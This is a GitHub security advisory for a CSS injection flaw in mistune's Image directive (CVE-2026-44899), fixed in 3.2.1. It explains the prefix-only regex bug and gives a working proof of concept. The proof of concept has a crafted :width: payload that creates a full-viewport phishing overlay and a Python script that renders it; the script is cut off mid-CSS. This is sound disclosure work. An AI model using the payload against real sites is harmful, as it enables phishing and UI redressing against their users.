GitHub Advisoryadvisory · PyPI

GHSA-ccfx-mfmx-2fx9 Mistune Image Directive CSS Injection Vulnerability

MEDIUM Published 2026-05-14 Modified 2026-06-08 Official page ↗
Aliases
CVE-2026-44899
Ecosystem
PyPI
Packages
mistune
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N
Weaknesses
CWE-79
Reviewed
2026-05-14

Affected packages

• PyPI mistune: >= 3.2.0, < 3.2.1 → fixed in 3.2.1

Description

Summary The Image directive plugin validates the `:width:` and `:height:` options with a regex compiled as `_num_re = re.compile(r"^\d+(?:\.\d*)?")`. This pattern is applied via `re.match()` (which anchors only at the start of the string, not the end). Any value that begins with one or more digits passes validation, regardless of what follows. When the validated value is not a plain integer, `render_block_image()` inserts it directly into a `style="width:...;"` or `style="height:...;"` attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the `style=` attribute verbatim and without escaping. An attacker can therefore inject an arbitrary chain of CSS properties — including `position:fixed`, `background-color`, `z-index`, `outline`, and `opacity` — using nothing more than a single `:width:` option in a fenced image directive. The resulting element can visually cover the entire browser viewport, enabling full-page phishing overlays and UI redressing attacks. Details File: `src/mistune/directives/image.py` ```python _num_re = re.compile(r"^\d+(?:\.\d*)?") # no $ anchor — prefix match only def _parse_attrs(options): height = options.get("height") width = options.get("width") if height and _num_re.match(height): # passes if value STARTS with a digit attrs["height"] = height # full value stored, not just digits if width and _num_re.match(width): # same — prefix-only check attrs["width"] = width ``` And in `render_block_image()`: ```python if width: if width.isdigit(): img += ' width="' + width + '"' # safe: integer → HTML attribute else: style += "width:" + width + ";" # UNSAFE: non-integer → raw style value ``` The `isdigit()` branch correctly uses an HTML attribute for plain integers. The `else` branch assumes that anything that passed `_num_re.match()` is a safe CSS length like `100px` or `50%`. However, because the regex is prefix-only, `100vw;height:100vh;position:fixed;...` also passes, and the entire string lands in `style=` unmodified. PoC Step 1 — Establish the baseline (safe plain-integer dimensions) The script creates a parser with `escape=True`, `FencedDirective`, and the `Image` plugin. A safe image directive is rendered with integer `width` and `height`: ```python md = create_markdown(escape=True, plugins=[FencedDirective([Image()])]) bl_src = ( "```{image} photo.jpg\n" ":width: 400\n" ":height: 300\n" ":alt: safe image\n" "```\n" ) bl_out = str(md(bl_src)) ``` Expected and actual output — clean `width=` and `height=` HTML attributes, no `style=`: ```html ``` Step 2 — Understand why non-integer widths go into `style=` When `width` is not a plain integer (e.g., `100px`), `width.isdigit()` returns `False`, so the render path falls through to `style += "width:" + width + ";"`. This is the intended mechanism for CSS-unit dimensions. The flaw is that `_num_re.match()` lets far more than CSS units through. Step 3 — Craft the exploit payload Provide a `:width:` value that begins with a valid number (satisfying `_num_re.match()`) but appends an entire CSS attack chain after it: ``` :width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93 ``` • `100vw` — starts with `1`, passes `_num_re.match()`; also sets the width to full viewport width • `;height:100vh` — overrides height to full viewport height • `;position:fixed` — lifts element out of document flow, fixed to the browser viewport • `;top:0;left:0` — anchors overlay to the top-left corner • `;z-index:9999` — places it above all other page content • `;background-color:#e11d48` — fills the overlay with vivid crimson • `;outline:8px solid #facc15` — adds a bright yellow border • `;color:#fff;opacity:.93` — styles the alt-text label in white with near-full opacity Full exploit markdown: ``` ```{image} x.jpg :width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93 :alt: ⚠ CSS INJECTED — click to dismiss ⚠ ``` ``` Step 4 — Observe the injected `style=` in the output ```python ex_src = ( "```{image} x.jpg\n" ":width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;" "background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\n" ":alt: ⚠ CSS INJECTED — click to dismiss ⚠\n" "```\n" ) ex_out = str(md(ex_src)) ``` Actual output: ```html ``` Every injected CSS property is present in the `style=` attribute. When a browser renders this HTML, the `` element: • expands to fill 100% of the viewport width and height • sits fixed at the top-left corner, scrolling with the viewport • is coloured crimson with a yellow outline • appears above all other page content The result is a complete full-page phishing overlay generated from a single Markdown image directive. Script I have built a script that you can use to verify this. It creates a HTML page showing the bypass so that you can see it render in the browser. ```python !/usr/bin/env python3 """H6: Image directive CSS injection — width/height use prefix-only re.match(). Exploit combines: position:fixed + background-color + outline colour → a full-viewport coloured overlay injected via a single :width: option. """ import os, html as h from mistune import create_markdown from mistune.directives import FencedDirective from mistune.directives.image import Image md = create_markdown(escape=True, plugins=[FencedDirective([Image()])]) --- baseline --- bl_file = "baseline_h6.md" bl_src = ( "```{image} photo.jpg\n" ":width: 400\n" ":height: 300\n" ":alt: safe image\n" "```\n" ) with open(os.path.join(os.getcwd(), bl_file), "w") as f: f.write(bl_src) bl_out = str(md(bl_src)) print(f"[{bl_file}]\n{bl_src}") print("[output — clean width/height attributes, no style injection]") print(bl_out) --- exploit --- _num_re.match() is prefix-only (no $ anchor), so anything after the leading digits is accepted and written verbatim into style="width:;". This single :width: value smuggles a full CSS attack chain: position:fixed → overlay sits above the entire page top/left/width/height → covers 100 % of the viewport background-color:#e11d48 → vivid crimson fill outline:8px solid #facc15 → bright yellow border color:#fff → white alt-text label z-index:9999 → on top of everything ex_file = "exploit_h6.md" ex_src = ( "```{image} x.jpg\n" ":width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;" "background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\n" ":alt: ⚠ CSS INJECTED — click to dismiss ⚠\n" "```\n" ) with open(os.path.join(os.getcwd(), ex_file), "w") as f: f.write(ex_src) ex_out = str(md(ex_src)) print(f"[{ex_file}]\n{ex_src}") print("[output — colour + background-colour + fixed overlay injected into style=]") print(ex_out) --- HTML report --- CSS = """ body{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px} h1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px} p.desc{color:#555;font-size:.9em;margin-top:6px} .warn{background:#fffbeb;border:1px solid #fbbf24;border-radius:6px;padding:10px 16px; font-size:.85em;color:#92400e;margin:12px 0} .case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc; box-shadow:0 1px 4px rgba(0,0,0,.1)} .case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-…

Related

Alias · CVE (1)

  • CVE-2026-44899 Mistune is a Python Markdown parser with renderers and plugins. vulnerability

Weakness · CWE (1)

  • CWE-79 Improper Neutralization of Input During Web Page Generation weakness

References